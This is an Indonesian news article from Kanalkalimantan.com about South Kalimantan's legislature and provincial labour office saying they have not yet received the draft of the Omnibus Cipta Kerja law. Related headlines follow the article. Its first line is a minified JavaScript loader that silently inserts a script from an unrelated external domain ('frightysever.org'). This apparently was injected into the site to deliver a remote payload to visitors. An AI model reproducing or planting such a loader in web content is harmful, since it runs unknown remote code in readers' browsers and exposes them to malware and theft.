(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Selatan

DPRD dan Pemprov Kalsel Akui Belum Terima Draft UU Omnibus Law Cipta Kerja


KANALKALIMANTAN.COM, BANJARMASIN – Polemik pengesahan UU Omnibus Law Cipta Kerja baru-baru ini, rupanya berbuntut panjang. Bahkan, pemangku kepentingan di Provinsi Kalimantan Selatan sendiri belum menerima draft resmi UU Omnibus Law.

Hal ini diakui oleh Ketua DPRD Provinsi Kalsel H Supian HK, usai rapat dengar pendapat dengan Pemprov Kalsel, perwakilan buruh, akademisi dan sejumlah organisasi di Gedung DPRD Provinsi Kalsel, Selasa (13/10/2020) sore.

“Kami ingin meminta draftnya secepat mungkin. Ini tujuannya agar tidak termakan hoaks,” kata Supian.

Apalagi diakui Supian, lantaran belum mendapatkan draft UU Omnibus Law Cipta Kerja yang disebutnya ada sebanyak 905 halaman. Sehingga, membutuhkan waktu yang tidak sedikit untuk mempelajari isi UU ini.

“Bagaimana kita mau membahas. Sedangkan kita belum menerima draftnya. Tapi rapat dengar pendapat ini sebagai forum penampungan aspirasi, karena (UU) ini ranahnya di DPR RI,” jelas Supian.

Menurut Supian, isi dari UU Omnibus Law Cipta Kerja yang bernilai positif harus dipertahankan. Tetapi, jika ada isi UU ini yang dinilai merugikan masyarakat utamanya kalangan pekerja, ia menekankan agar segera direvisi.

“Kalau bisa dikeluarkan Perpu (Omnibus Law Cipta Kerja). Supaya jangan ada salah paham di masyarakat, sehingga masih ada harapan,” imbuhnya.

Senada dengan Supian, Pemprov Kalsel melalui Kepala Dinas Ketenagakerjaan dan Transmigrasi, Siswansyah mengakui, hingga kini pihaknya belum juga menerima draft UU Omnibus Law. Sehingga ia belum bisa berkomentar banyak.

“Kami pun masih belum dapat (draftnya). Kami pun dari dinas teknis belum mendapatkan itu,” kata Siswansyah.

Dirinya berjanji, instansinya akan berupaya mendapatkan draft UU Omnibus Law Cipta Kerja ke Kementerian Ketenagakerjaan RI. “Kami berusaha mendapatkan itu,” imbuh Siswansyah.

Lantaran belum menerima isi UU Omnibus Law Cipta Kerja, membuat pemerintah daerah maupun gubernur sebagai perwakilan pemerintah pusat di provinsi, belum bisa berkomentar.

Menurut Siswansyah, masih ada petunjuk teknis lainnya yang menjadi turunan bagi UU Omnibus Law Cipta Kerja ini.

“SepertiPermen, Kepmen, sehingga bisa menjadi petunjuk kami di daerah sebagai yang membidangi UU Omnibus Law Cipta Kerja bersama serikat kerja di Kalsel,” papar Siswansyah.

Kendati UU Omnibus Law Cipta Kerja sudah resmi diundangkan, namun diakui Siswansyah, belum ada pengumuman resmi dari pemerintah pusat kapan dimulainya pelaksanaan UU ini. “Belum ada pengumuman resmi dari pemerintah pusat,” pungkasnya. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

Al Ghifari

Recent Posts

Vonis Separuh Tuntutan untuk Empat Terdakwa Korupsi Kredit Fiktif Bank

KANALKALIMANTAN.COM, BANJARMASIN - Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin membacakan putusan kasus korupsi kredit… Read More

15 jam ago

Wali Kota Aditya Bacakan SK Pelanggaran Kode Etik ASN Pemko Banjarbaru, Ini Tiga Nama Pelanggar

KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More

16 jam ago

Dukung Pembangunan Keberlanjutan di Kalimantan, PLN Hadirkan 15 Program TJSL di Sepanjang 2024

KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

18 jam ago

Ada Pekerjaan PAM Bandarmasih, Besok Distribusi Air Disetop

KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More

23 jam ago

Layaknya Pilkada, Pemilihan Ketua RT dan RW Serentak se Banjarbaru Digelar

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More

24 jam ago

BPIH 2025 Resmi Turun Rp 4 Juta, Ini Komponen Utama Biaya Haji

KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More

1 hari ago

This website uses cookies.